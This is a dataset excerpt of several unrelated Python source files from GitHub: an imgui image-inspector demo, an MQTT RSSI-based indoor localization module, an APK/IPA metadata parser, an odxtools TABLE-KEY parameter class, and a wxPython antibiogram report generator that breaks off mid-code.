{"seq_id": "35171620457", "text": "import os.path\n\nfrom imgui_bundle import immvision, immapp, imgui_md\nfrom imgui_bundle.demos_python import demo_utils\nimport cv2  # type: ignore\n\n\ndef fill_inspector():\n    os.path.dirname(__file__)\n    image_files = [\"dmla.jpg\", \"house.jpg\", \"tennis.jpg\", \"world.jpg\"]\n    for image_file in image_files:\n        img = cv2.imread(f\"{demo_utils.demos_assets_folder()}/images/{image_file}\")\n        immvision.inspector_add_image(img, legend=image_file)\n\n\n@immapp.static(inited=False)\ndef demo_gui():\n    if not demo_gui.inited:\n        fill_inspector()\n        demo_gui.inited = True\n\n    imgui_md.render_unindented(\n        \"\"\"Call *immvision.inspector_add_image()* anywhere - for example, at different steps inside an image processing algorithm. Later, call *immvision.inspector_show()*, and it will show all the collected images.\"\"\"\n    )\n    immvision.inspector_show()\n\n\ndef main():\n    demo_utils.set_hello_imgui_demo_assets_folder()\n    immapp.run(demo_gui, window_size=(1000, 800), with_markdown=True)\n\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "pthom/imgui_bundle", "sub_path": "bindings/imgui_bundle/demos_python/demos_immvision/demo_immvision_inspector.py", "file_name": "demo_immvision_inspector.py", "file_ext": "py", "file_size_in_byte": 1047, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 394, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.path.path.dirname", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 9, "usage_type": "name"}, {"api_name": "cv2.imread", "line_number": 12, "usage_type": "call"}, {"api_name": "imgui_bundle.demos_python.demo_utils.demos_assets_folder", "line_number": 12, "usage_type": "call"}, {"api_name": "imgui_bundle.demos_python.demo_utils", "line_number": 12, "usage_type": "name"}, {"api_name": "imgui_bundle.immvision.inspector_add_image", "line_number": 13, "usage_type": "call"}, {"api_name": "imgui_bundle.immvision", "line_number": 13, "usage_type": "name"}, {"api_name": "imgui_bundle.imgui_md.render_unindented", "line_number": 22, "usage_type": "call"}, {"api_name": "imgui_bundle.imgui_md", "line_number": 22, "usage_type": "name"}, {"api_name": "imgui_bundle.immvision.inspector_show", "line_number": 25, "usage_type": "call"}, {"api_name": "imgui_bundle.immvision", "line_number": 25, "usage_type": "name"}, {"api_name": "imgui_bundle.immapp.static", "line_number": 16, "usage_type": "call"}, {"api_name": "imgui_bundle.immapp", "line_number": 16, "usage_type": "name"}, {"api_name": "imgui_bundle.demos_python.demo_utils.set_hello_imgui_demo_assets_folder", "line_number": 29, "usage_type": "call"}, {"api_name": "imgui_bundle.demos_python.demo_utils", "line_number": 29, "usage_type": "name"}, {"api_name": "imgui_bundle.immapp.run", "line_number": 30, "usage_type": "call"}, {"api_name": "imgui_bundle.immapp", "line_number": 30, "usage_type": "name"}]}
{"seq_id": "74082169226", "text": "import itertools\nfrom enum import Enum\nimport datetime\nfrom statistics import mean\n\nimport paho.mqtt.client as mqtt\n\nfrom map.elements.effector import Effector\n\n'''\nSingleton instanced as such to apply a localization that depends on the mode.\nIt will compute the position and communicate it accordingly.\n'''\nclass Localization:\n\n    def rssiThreshold(self):\n        return -65\n    def timeThreshold(self):\n        return 2000\n    def getType(self):\n        pass\n    def topic(self, effector: Effector):\n        pass\n    def build_messages(self, **kwargs):\n        pass\n    def send(self, **kwargs):\n        client = kwargs[\"client\"]\n        for effectorMessage in self.build_messages(**kwargs):\n            effector, message = effectorMessage\n            if effector:\n                client.publish(self.topic(effector).lower(), message)\n    def compute(self, mac_dict, mac, origin):\n        pass\n\nclass NeighboursLocalization(Localization):\n    def topic(self, effector):\n        return \"directions/effector/neighbour/effector_{}\".format(effector.idx)\n    def build_messages(self, **kwargs):\n        # each pair (node, device) has a message of the form: (node, device, is_close)\n        nodes, devices, devices_dict = kwargs[\"nodes\"].nodes, kwargs[\"devices\"], kwargs[\"devices_dict\"]\n        # filtering: only in case the device is navigating we compute the localization\n        active_devices = [device for device in devices if \"status\" in devices_dict[device] and devices_dict[device][\"status\"] == Status.NAVIGATING]\n        messages = []\n        for node, device in itertools.product(*[nodes, active_devices]):\n            # check values that do not differ much in time\n            anchor_id = node.idx    # before: node.mac.lower()\n            if device in devices_dict and anchor_id in devices_dict[device]:\n                current_vals = list(devices_dict[device][anchor_id])\n                recent_values = list(map(lambda x: x[\"value\"], filter(\n                    lambda x: x[\"timestamp\"] + datetime.timedelta(milliseconds=self.timeThreshold()) > datetime.datetime.now(),\n                    current_vals)))\n            else:\n                recent_values = []\n            # localization: node is close if threshold is greater than <rssiThreshold>\n            close = 1 if len(recent_values) > 0 and mean(recent_values) > self.rssiThreshold() else 0\n            messages.append((node, \"{}${}\".format(device, close)))\n        return messages\n    def getType(self):\n        return LocalizationType.NEIGHBOURS\n\nclass NodeLocalization(Localization):\n    def topic(self, effector):\n        return \"directions/effector/activate/effector_{}\".format(effector.idx)\n    def build_messages(self, **kwargs):\n        # each pair (node, device) has a message of the form: (node, device, is_close)\n        # effectors, nodes, devices, devices_dict = kwargs[\"effectors\"], kwargs[\"nodes\"], kwargs[\"devices\"], kwargs[\"devices_dict\"]\n        sd_instance, devices, devices_dict = kwargs[\"sd_instance\"], kwargs[\"devices\"], kwargs[\"devices_dict\"]\n\n        # filtering: only in case the device is navigating we compute the localization\n        active_devices = [device for device in devices if\n                          \"status\" in devices_dict[device] and devices_dict[device][\"status\"] == Status.NAVIGATING]\n\n        messages = []\n        close_anchors = {}\n        best_anchors = {}\n        # find first each pair (device, node)\n        for device_key in active_devices:\n            found, best_val = False, self.rssiThreshold()\n            closest_anchor = None\n            for node in sd_instance.raw_anchors():\n                anchor_id = node.idx    # before: node.mac.lower()\n                current_vals = list(devices_dict[device_key][anchor_id])\n                recent_values = list(map(lambda x: x[\"value\"], filter(lambda x: x[\"timestamp\"] + datetime.timedelta(milliseconds=self.timeThreshold()) > datetime.datetime.now(), current_vals)))\n                rssi_val = -100\n                if len(recent_values) > 0:\n                    rssi_val = mean(recent_values)\n                if rssi_val > best_val:\n                    best_val = rssi_val\n                    closest_anchor = node\n            if closest_anchor is not None:\n                best_anchors[device_key] = closest_anchor\n\n        # for each device, use the closest anchor\n        for device_key in best_anchors.keys():\n            node = best_anchors[device_key]\n            color = devices_dict[device_key]['color']\n            device_building = [b for b in sd_instance.buildings if devices_dict[device_key]['id_building']==b.id][0]\n\n            is_first_time = False\n            device_destination = device_building.findPoI(devices_dict[device_key]['id_POI'])\n            # only first time: last_anchor is the last encountered anchor; first_anchor is the first encountered anchor\n            if 'last_anchor' not in devices_dict[device_key]:\n                devices_dict[device_key]['last_anchor'] = node\n            if 'first_anchor' not in devices_dict[device_key]:\n                devices_dict[device_key]['first_anchor'] = node\n\n            # this feature is currently not used.\n            # if True, last_anchor is the last encountered (gets updated)\n            # if False, last_anchor is the same as the first encountered\n            update_last_anchor = False\n            if update_last_anchor:\n                if node.idx != devices_dict[device_key]['last_anchor'].idx:\n                    devices_dict[device_key]['last_anchor'] = node\n            device_origin = devices_dict[device_key]['last_anchor']\n\n            # localization: node is close if threshold is greater than <rssiThreshold> and no other node is close\n            effectors_to_activate, face_to_show, relative_message_to_show, absolute_message_to_show = \\\n                device_building.toActivate(node, device_destination, device_origin)\n\n            from map.elements.planimetry.point_type import Direction, MessageDirection\n\n            if not devices_dict[device_key]['shown_first']:\n                face_to_show, relative_message_to_show = Direction.ALL, MessageDirection.START\n\n            first_anchor_show_all_faces = False\n\n            if effectors_to_activate is not None:\n                if first_anchor_show_all_faces and devices_dict[device_key]['shown_first'] \\\n                        and node.idx == devices_dict[device_key]['first_anchor'].idx\\\n                        and relative_message_to_show != MessageDirection.ARRIVED:\n                    faces, directions = device_building.portDirectionsToFaces(absolute_message_to_show)\n                else:\n                    faces, directions = [face_to_show], [relative_message_to_show]\n                for face_to_show, relative_message_to_show in zip(faces, directions):\n                    messages.append((effectors_to_activate, \"{}$1${}${}${}\".format(device_key, face_to_show, relative_message_to_show, color)))\n                all_effectors = device_building.raw_effectors()\n                for remaining_effector in all_effectors:\n                    if remaining_effector.idx != effectors_to_activate.idx:\n                        # relevant only for smartphone effectors. Masters do not show the message persistently\n                        messages.append(\n                            (remaining_effector, \"{}$0${}${}${}\".format(device_key, face_to_show, relative_message_to_show, color)))\n\n\n            else:\n                print(\"INFO: no effector to activate for device {}\".format(device_key))\n\n            devices_dict[device_key]['shown_first'] = True\n\n        return messages\n    def getType(self):\n        return LocalizationType.NODE\n'''\nFactory for the localization type.\nBuilds depending on the enum\n'''\nclass LocalizationFactory:\n    class __LocalizationFactory:\n        def __init__(self):\n            pass\n\n        def build(self, mode):\n            if mode == LocalizationType.NEIGHBOURS:\n                return NeighboursLocalization()\n            elif mode == LocalizationType.NODE:\n                return NodeLocalization()\n            elif mode == LocalizationType.ACCURATE:\n                raise Exception(\"Unsupported localization\")\n            else:\n                raise Exception(\"Unexisting localization\")\n\n    __instance = None\n\n    def __init__(self):\n        if not LocalizationFactory.__instance:\n            LocalizationFactory.__instance = LocalizationFactory.__LocalizationFactory()\n\n    def __getattr__(self, name):\n        return getattr(self.__instance, name)\n\n    def getInstance(self):\n        return LocalizationFactory.__instance\n\nclass LocalizationType(Enum):\n    NEIGHBOURS = 1      # computes list of neighbours and communicates to all of them\n    NODE = 2            # localization is done by associating to a device a node\n    ACCURATE = 3        # more precise localization. TODO\n\nclass Status(Enum):\n    TO_INIT = 1\n    NAVIGATING = 2\n    INACTIVE = 3", "repo_name": "filipkrasniqi/smart-directions-central-unit", "sub_path": "localization/localization.py", "file_name": "localization.py", "file_ext": "py", "file_size_in_byte": 8918, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "map.elements.effector.Effector", "line_number": 22, "usage_type": "name"}, {"api_name": "itertools.product", "line_number": 44, "usage_type": "call"}, {"api_name": "map.elements.effector", "line_number": 49, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 50, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 50, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 50, "usage_type": "attribute"}, {"api_name": "statistics.mean", "line_number": 55, "usage_type": "call"}, {"api_name": "map.elements.effector", "line_number": 83, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 83, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 83, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 83, "usage_type": "attribute"}, {"api_name": "statistics.mean", "line_number": 86, "usage_type": "call"}, {"api_name": "map.elements.planimetry.point_type.Direction.ALL", "line_number": 123, "usage_type": "attribute"}, {"api_name": "map.elements.planimetry.point_type.Direction", "line_number": 123, "usage_type": "name"}, {"api_name": "map.elements.planimetry.point_type.MessageDirection.START", "line_number": 123, "usage_type": "attribute"}, {"api_name": "map.elements.planimetry.point_type.MessageDirection", "line_number": 123, "usage_type": "name"}, {"api_name": "map.elements.planimetry.point_type.MessageDirection.ARRIVED", "line_number": 130, "usage_type": "attribute"}, {"api_name": "map.elements.planimetry.point_type.MessageDirection", "line_number": 130, "usage_type": "name"}, {"api_name": "{'Direction': 'map.elements.planimetry.point_type.Direction', 'MessageDirection': 'map.elements.planimetry.point_type.MessageDirection'}", "line_number": 165, "usage_type": "call"}, {"api_name": "enum.Enum", "line_number": 183, "usage_type": "name"}, {"api_name": "enum.Enum", "line_number": 188, "usage_type": "name"}]}
{"seq_id": "4939880439", "text": "#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n\nimport json\nimport os\n\nfrom fastapi import HTTPException, status\n\nfrom fastapp.schemas.appinfo import ApkInfo, IpaInfo\nfrom fastapp.core.config import settings\n\nfrom plugins.apk_parse3.apk_parse3.apk import APK\nfrom plugins.ipa_parser import IosIpa as IpaParser\n\n\"\"\"\n解析apk文件\n\n@File    :   app_info.py\n@Time    :   2021/03/25 15:26:30\n@Author  :   snc \n\"\"\"\n\n\nclass AppInfo(object):\n    def __init__(self, file: str):\n        self.file = file\n\n    def apk_parser(self) -> ApkInfo:\n\n        apkf = APK(self.file)\n        if not apkf.is_valid_APK():\n            raise HTTPException(\n                status_code=status.HTTP_415_UNSUPPORTED_MEDIA_TYPE, detail='不支持该媒体类型')\n\n        app_info = ApkInfo(\n            package=apkf.package,\n            file_md5=apkf.file_md5,\n            cert_md5=apkf.get_cert_md5(),\n            file_size=apkf.file_size,\n            androidversion=apkf.androidversion,\n            sdk_version=apkf.get_target_sdk_version(),\n            libraries=apkf.get_libraries(),\n            files=apkf.get_files(),\n            files_types=apkf.get_files_types(),\n            main_activity=apkf.get_main_activity(),\n            activities=apkf.get_activities(),\n            services=apkf.get_services(),\n            receivers=apkf.get_receivers(),\n            providers=apkf.get_providers(),\n            permissions=apkf.get_permissions()\n        )\n\n        # app_info = apkf.get_file(apkf.get_app_icon())\n        # app_info=apkf.get_certificate()\n\n        return app_info\n\n    def ipa_parser(self) -> IpaInfo:\n        ipaf = IpaParser(self.file)\n        app_info = ipaf.get_info()\n        app_info = IpaInfo(**app_info)\n\n        return app_info\n\n    def apk_parser_go(self):\n        parser_path = os.path.join(\n            settings.BASE_PATH, 'plugins', 'app_parser.exe')\n\n        run = os.popen(parser_path+' '+self.file)\n        info = run.buffer.read().decode(encoding='utf8')\n        run.close()\n\n        info = json.loads(info)\n\n        return info\n", "repo_name": "SINC-G/Melody", "sub_path": "fastapp/middle/app_info.py", "file_name": "app_info.py", "file_ext": "py", "file_size_in_byte": 2040, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "plugins.apk_parse3.apk_parse3.apk.APK", "line_number": 30, "usage_type": "call"}, {"api_name": "fastapi.HTTPException", "line_number": 32, "usage_type": "call"}, {"api_name": "fastapi.status.HTTP_415_UNSUPPORTED_MEDIA_TYPE", "line_number": 33, "usage_type": "attribute"}, {"api_name": "fastapi.status", "line_number": 33, "usage_type": "name"}, {"api_name": "fastapp.schemas.appinfo.ApkInfo", "line_number": 35, "usage_type": "call"}, {"api_name": "fastapp.schemas.appinfo.ApkInfo", "line_number": 28, "usage_type": "name"}, {"api_name": "plugins.ipa_parser.IosIpa", "line_number": 59, "usage_type": "call"}, {"api_name": "fastapp.schemas.appinfo.IpaInfo", "line_number": 61, "usage_type": "call"}, {"api_name": "fastapp.schemas.appinfo.IpaInfo", "line_number": 58, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path", "line_number": 66, "usage_type": "attribute"}, {"api_name": "fastapp.core.config.settings.BASE_PATH", "line_number": 67, "usage_type": "attribute"}, {"api_name": "fastapp.core.config.settings", "line_number": 67, "usage_type": "name"}, {"api_name": "os.popen", "line_number": 69, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 73, "usage_type": "call"}]}
{"seq_id": "40076781567", "text": "# SPDX-License-Identifier: MIT\nfrom dataclasses import dataclass\nfrom typing import TYPE_CHECKING, Any, Dict, Optional, Tuple\n\nfrom ..decodestate import DecodeState\nfrom ..encodestate import EncodeState\nfrom ..exceptions import DecodeError, EncodeError, odxraise, odxrequire\nfrom ..odxlink import OdxLinkDatabase, OdxLinkId, OdxLinkRef\nfrom ..odxtypes import ParameterValue\nfrom .parameter import Parameter, ParameterType\n\nif TYPE_CHECKING:\n    from ..diaglayer import DiagLayer\n    from ..table import Table\n    from ..tablerow import TableRow\n\n\n@dataclass\nclass TableKeyParameter(Parameter):\n\n    odx_id: OdxLinkId\n    table_ref: Optional[OdxLinkRef]\n    table_snref: Optional[str]\n    table_row_snref: Optional[str]\n    table_row_ref: Optional[OdxLinkRef]\n\n    def __post_init__(self) -> None:\n        self._table: \"Table\"\n        self._table_row: Optional[\"TableRow\"] = None\n        if self.table_ref is None and self.table_snref is None and \\\n           self.table_row_ref is None and self.table_row_snref is None:\n            odxraise(\"Either a table or a table row must be defined.\")\n\n    @property\n    def parameter_type(self) -> ParameterType:\n        return \"TABLE-KEY\"\n\n    def _build_odxlinks(self) -> Dict[OdxLinkId, Any]:\n        result = super()._build_odxlinks()\n\n        result[self.odx_id] = self\n\n        return result\n\n    def _resolve_odxlinks(self, odxlinks: OdxLinkDatabase) -> None:\n        super()._resolve_odxlinks(odxlinks)\n\n        # Either table_ref or table_row_ref will be defined\n        if self.table_ref:\n            if TYPE_CHECKING:\n                self._table = odxlinks.resolve(self.table_ref, Table)\n            else:\n                self._table = odxlinks.resolve(self.table_ref)\n\n        if self.table_row_ref:\n            if TYPE_CHECKING:\n                self._table_row = odxlinks.resolve(self.table_row_ref, TableRow)\n            else:\n                self._table_row = odxlinks.resolve(self.table_row_ref)\n            self._table = self._table_row.table\n\n    def _resolve_snrefs(self, diag_layer: \"DiagLayer\") -> None:\n        super()._resolve_snrefs(diag_layer)\n\n        if self.table_snref is not None:\n            ddd_spec = diag_layer.diag_data_dictionary_spec\n            self._table = ddd_spec.tables[self.table_snref]\n        if self.table_row_snref is not None:\n            # make sure that we know the table to which the table row\n            # SNREF is relative to.\n            table = odxrequire(\n                self._table, \"If a table-row short name reference is defined, a \"\n                \"table must also be specified.\")\n            self._table_row = table.table_rows[self.table_row_snref]\n\n    @property\n    def table(self) -> \"Table\":\n        if self._table is not None:\n            return self._table\n        if self._table_row is not None:\n            return self._table_row.table\n        odxraise(f'Could not resolve the table of {self.short_name}')\n\n    @property\n    def table_row(self) -> Optional[\"TableRow\"]:\n        return self._table_row\n\n    @property\n    def is_required(self) -> bool:\n        # TABLE-KEY parameters can be implicitly determined from the\n        # corresponding TABLE-STRUCT\n        return False\n\n    @property\n    def is_settable(self) -> bool:\n        return True\n\n    def get_coded_value_as_bytes(self, encode_state: EncodeState) -> bytes:\n        tr_short_name = encode_state.parameter_values.get(self.short_name)\n\n        if tr_short_name is None:\n            # the table key has not been defined explicitly yet, but\n            # it is most likely implicitly defined by the associated\n            # TABLE-STRUCT parameters. Use all-zeros as a standin for\n            # the real data...\n            key_dop = self.table.key_dop\n            if key_dop is None:\n                raise EncodeError(f\"Table '{self.table.short_name}' does not define \"\n                                  f\"a KEY-DOP, but is used in TABLE-KEY parameter \"\n                                  f\"'{self.short_name}'\")\n\n            byte_len = (odxrequire(key_dop.get_static_bit_length()) + 7) // 8\n            if self.bit_position is not None and self.bit_position > 0:\n                byte_len += 1\n\n            return bytes([0] * byte_len)\n\n        # the table key is known. We need to encode the associated DOP\n        # into the PDU.\n        tr_candidates = [x for x in self.table.table_rows if x.short_name == tr_short_name]\n        if len(tr_candidates) == 0:\n            raise EncodeError(f\"No table row with short name '{tr_short_name}' found\")\n        elif len(tr_candidates) > 1:\n            raise EncodeError(f\"Multiple rows exhibiting short name '{tr_short_name}'\")\n        tr = tr_candidates[0]\n\n        key_dop = self.table.key_dop\n        if key_dop is None:\n            raise EncodeError(f\"Table '{self.table.short_name}' does not define \"\n                              f\"a KEY-DOP, but is used in TABLE-KEY parameter \"\n                              f\"'{self.short_name}'\")\n        bit_position = 0 if self.bit_position is None else self.bit_position\n        return key_dop.convert_physical_to_bytes(tr.key, encode_state, bit_position=bit_position)\n\n    def encode_into_pdu(self, encode_state: EncodeState) -> bytes:\n        return super().encode_into_pdu(encode_state)\n\n    def decode_from_pdu(self, decode_state: DecodeState) -> Tuple[ParameterValue, int]:\n        if self.byte_position is not None and self.byte_position != decode_state.cursor_position:\n            cursor_position = self.byte_position\n\n        # update the decode_state's table key\n        if self.table_row is not None:\n            # the table row to be used is statically specified -> no\n            # need to decode anything!\n            phys_val = self.table_row.short_name\n            cursor_position = decode_state.cursor_position\n        else:\n            # Use DOP to decode\n            key_dop = odxrequire(self.table.key_dop)\n            bit_position_int = self.bit_position if self.bit_position is not None else 0\n            key_dop_val, cursor_position = key_dop.convert_bytes_to_physical(\n                decode_state, bit_position=bit_position_int)\n\n            table_row_candidates = [x for x in self.table.table_rows if x.key == key_dop_val]\n            if len(table_row_candidates) == 0:\n                raise DecodeError(f\"No table row exhibiting the key '{str(key_dop_val)}' found\")\n            elif len(table_row_candidates) > 1:\n                raise DecodeError(\n                    f\"Multiple rows exhibiting key '{str(key_dop_val)}' found in table\")\n            phys_val = table_row_candidates[0].short_name\n\n        return phys_val, cursor_position\n", "repo_name": "mercedes-benz/odxtools", "sub_path": "odxtools/parameters/tablekeyparameter.py", "file_name": "tablekeyparameter.py", "file_ext": "py", "file_size_in_byte": 6631, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 113, "dataset": "github-code", "pt": "81", "api": [{"api_name": "typing.TYPE_CHECKING", "line_number": 12, "usage_type": "name"}, {"api_name": "parameter.Parameter", "line_number": 19, "usage_type": "name"}, {"api_name": "odxlink.OdxLinkId", "line_number": 21, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 22, "usage_type": "name"}, {"api_name": "odxlink.OdxLinkRef", "line_number": 22, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 23, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 24, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 25, "usage_type": "name"}, {"api_name": "odxlink.OdxLinkRef", "line_number": 25, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 29, "usage_type": "name"}, {"api_name": "exceptions.odxraise", "line_number": 32, "usage_type": "call"}, {"api_name": "parameter.ParameterType", "line_number": 35, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 38, "usage_type": "name"}, {"api_name": "odxlink.OdxLinkId", "line_number": 38, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 38, "usage_type": "name"}, {"api_name": "odxlink.OdxLinkDatabase", "line_number": 45, "usage_type": "name"}, {"api_name": "typing.TYPE_CHECKING", "line_number": 50, "usage_type": "name"}, {"api_name": "table.Table", "line_number": 51, "usage_type": "argument"}, {"api_name": "typing.TYPE_CHECKING", "line_number": 56, "usage_type": "name"}, {"api_name": "tablerow.TableRow", "line_number": 57, "usage_type": "argument"}, {"api_name": "exceptions.odxrequire", "line_number": 71, "usage_type": "call"}, {"api_name": "table.table_rows", "line_number": 74, "usage_type": "attribute"}, {"api_name": "exceptions.odxraise", "line_number": 82, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 85, "usage_type": "name"}, {"api_name": "encodestate.EncodeState", "line_number": 98, "usage_type": "name"}, {"api_name": "exceptions.EncodeError", "line_number": 108, "usage_type": "call"}, {"api_name": "exceptions.odxrequire", "line_number": 112, "usage_type": "call"}, {"api_name": "exceptions.EncodeError", "line_number": 122, "usage_type": "call"}, {"api_name": "exceptions.EncodeError", "line_number": 124, "usage_type": "call"}, {"api_name": "exceptions.EncodeError", "line_number": 129, "usage_type": "call"}, {"api_name": "encodestate.EncodeState", "line_number": 135, "usage_type": "name"}, {"api_name": "decodestate.DecodeState", "line_number": 138, "usage_type": "name"}, {"api_name": "exceptions.odxrequire", "line_number": 150, "usage_type": "call"}, {"api_name": "exceptions.DecodeError", "line_number": 157, "usage_type": "call"}, {"api_name": "exceptions.DecodeError", "line_number": 159, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 138, "usage_type": "name"}, {"api_name": "odxtypes.ParameterValue", "line_number": 138, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 18, "usage_type": "name"}]}
{"seq_id": "37870346645", "text": "import os\nimport sys\n\nimport wx\nimport wx.adv\nimport pandas as pd\nimport xlsxwriter\nfrom ObjectListView import ObjectListView, ColumnDefn, FastObjectListView\nfrom threading import Thread\nfrom pubsub import pub\n\nfrom components.drug_dialog import DrugRegFormDialog\n\n\nCLOSE_PROGRESS_BAR_SIGNAL = 'close-progressbar'\nWRITE_TO_EXCEL_FILE_SIGNAL = 'write-to-excel-file'\nENABLE_BUTTONS = 'enable-buttons'\nDISABLE_BUTTONS = 'disable-buttons'\n\n\nclass PulseProgressBarDialog(wx.ProgressDialog):\n    def __init__(self, *args, abort_message='abort'):\n        super(PulseProgressBarDialog, self)\\\n            .__init__(*args, style=wx.PD_AUTO_HIDE | wx.PD_APP_MODAL)\n        pub.subscribe(self.close, CLOSE_PROGRESS_BAR_SIGNAL)\n        while self.GetValue() != self.GetRange():\n            self.Pulse()\n\n    def close(self):\n        self.Update(self.GetRange())\n\n\nclass ReadExcelThread(Thread):\n    def __init__(self, filepath, message):\n        super(ReadExcelThread, self).__init__()\n        self._filepath = filepath\n        self._message = message\n        self.start()\n\n    def run(self):\n        df = pd.read_excel(self._filepath)\n        df = df.dropna(how='all').fillna('')\n        wx.CallAfter(pub.sendMessage, self._message, df=df)\n\n\nclass BiogramGeneratorThread(Thread):\n    def __init__(self, data, date_col, identifier_col, organism_col, indexes, keys,\n                 include_count, include_percent, include_narst, columns, drug_data):\n        super(BiogramGeneratorThread, self).__init__()\n        self.drug_data = drug_data\n        self.data = data\n        self.date_col = date_col\n        self.identifier_col = identifier_col\n        self.organism_col = organism_col\n        self.columns = columns\n        self.indexes = indexes\n        self.keys = keys\n        self.include_count = include_count\n        self.include_percent = include_percent\n        self.include_narst = include_narst\n        self.start()\n\n    def run(self):\n        # TODO: remove hard-coded organism file\n        organism_df = pd.read_excel(os.path.join('appdata', 'organisms2020.xlsx'))\n\n        melted_df = self.data.melt(id_vars=self.keys)\n        _melted_df = pd.merge(melted_df, organism_df, how='inner')\n        _melted_df = pd.merge(_melted_df, self.drug_data,\n                              right_on='abbr', left_on='variable', how='outer')\n        indexes = [self.columns[idx] for idx in self.indexes]\n        total = _melted_df.pivot_table(index=indexes,\n                                       columns=['group', 'variable'], aggfunc='count')\n        sens = _melted_df[_melted_df['value'] == 'S'].pivot_table(index=indexes,\n                                                                  columns=['group', 'variable'],\n                                                                  aggfunc='count')\n        resists = _melted_df[(_melted_df['value'] == 'I') | (_melted_df['value'] == 'R')] \\\n            .pivot_table(index=indexes, columns=['group', 'variable'], aggfunc='count')\n        biogram_resists = (resists / total * 100).applymap(lambda x: round(x, 2))\n        biogram_sens = (sens / total * 100).applymap(lambda x: round(x, 2))\n        formatted_total = total.applymap(lambda x: '' if pd.isna(x) else '{:.0f}'.format(x))\n        biogram_narst_s = biogram_sens.fillna('-').applymap(str) + \" (\" + formatted_total + \")\"\n        biogram_narst_s = biogram_narst_s.applymap(lambda x: '' if x.startswith('-') else x)\n        wx.CallAfter(pub.sendMessage, CLOSE_PROGRESS_BAR_SIGNAL)\n        wx.CallAfter(pub.sendMessage,\n                     WRITE_TO_EXCEL_FILE_SIGNAL,\n                     sens=sens if self.include_count else None,\n                     resists=resists if self.include_count else None,\n                     biogram_sens=biogram_sens if self.include_percent else None,\n                     biogram_resists=biogram_resists if self.include_percent else None,\n                     biogram_narst_s=biogram_narst_s if self.include_narst else None,\n                     identifier_col=self.identifier_col)\n\n\nclass DataRow(object):\n    def __init__(self, id, series) -> None:\n        self.id = id\n        for k, v in series.items():\n            setattr(self, k, v)\n\n    def to_list(self, columns):\n        return [getattr(self, c) for c in columns]\n\n    def to_dict(self, columns):\n        return {c: getattr(self, c) for c in columns}\n\n\nclass BiogramIndexDialog(wx.Dialog):\n    def __init__(self, parent, columns, title='Biogram Indexes', start=None, end=None):\n        super().__init__(parent, title=title, style=wx.DEFAULT_DIALOG_STYLE | wx.RESIZE_BORDER)\n        self.indexes = []\n        self.choices = columns\n        main_sizer = wx.BoxSizer(wx.VERTICAL)\n        instruction = wx.StaticText(self, label='Data will be organized in hierarchy based on the order in the list.')\n        self.chlbox = wx.CheckListBox(self, choices=columns)\n        self.chlbox.Bind(wx.EVT_CHECKLISTBOX, self.on_checked)\n        self.index_items_list = wx.ListCtrl(self, wx.ID_ANY, style=wx.LC_REPORT, size=(300, 200))\n        self.index_items_list.AppendColumn('Level')\n        self.index_items_list.AppendColumn('Attribute')\n        dateBoxSizer = wx.StaticBoxSizer(wx.HORIZONTAL, self, label='Date Range')\n        self.startDate = wx.adv.DatePickerCtrl(self, dt=start)\n        startDateLabel = wx.StaticText(self, label='Start')\n        self.endDate = wx.adv.DatePickerCtrl(self, dt=end)\n        endDateLabel = wx.StaticText(self, label='End')\n        dateBoxSizer.Add(startDateLabel, 0, wx.ALL, 5)\n        dateBoxSizer.Add(self.startDate, 0, wx.ALL, 5)\n        dateBoxSizer.Add(endDateLabel, 0, wx.ALL, 5)\n        dateBoxSizer.Add(self.endDate, 0, wx.ALL, 5)\n        outputBoxSizer = wx.StaticBoxSizer(wx.VERTICAL, self, label='Output')\n        self.includeCount = wx.CheckBox(self, label='Raw counts')\n        self.includePercent = wx.CheckBox(self, label='Percents')\n        self.includeNarstStyle = wx.CheckBox(self, label='NARST format')\n        self.includeCount.SetValue(True)\n        self.includePercent.SetValue(True)\n        self.includeNarstStyle.SetValue(True)\n        outputBoxSizer.Add(self.includeCount, 0, wx.ALL, 5)\n        outputBoxSizer.Add(self.includePercent, 0, wx.ALL, 5)\n        outputBoxSizer.Add(self.includeNarstStyle, 0, wx.ALL, 5)\n        main_sizer.Add(instruction, 0, wx.ALL, 5)\n        main_sizer.Add(self.chlbox, 1, wx.ALL | wx.EXPAND, 10)\n        main_sizer.Add(self.index_items_list, 1, wx.ALL | wx.EXPAND, 10)\n        main_sizer.Add(dateBoxSizer, 0, wx.ALL | wx.EXPAND, 5)\n        main_sizer.Add(outputBoxSizer, 0, wx.ALL | wx.EXPAND, 5)\n        btn_sizer = wx.StdDialogButtonSizer()\n        ok_btn = wx.Button(self, id=wx.ID_OK, label='Generate')\n        ok_btn.SetDefault()\n        cancel_btn = wx.Button(self, id=wx.ID_CANCEL, label='Cancel')\n        btn_sizer.AddButton(ok_btn)\n        btn_sizer.AddButton(cancel_btn)\n        btn_sizer.Realize()\n        main_sizer.Add(btn_sizer, 0, wx.ALL | wx.ALIGN_CENTER, 10)\n        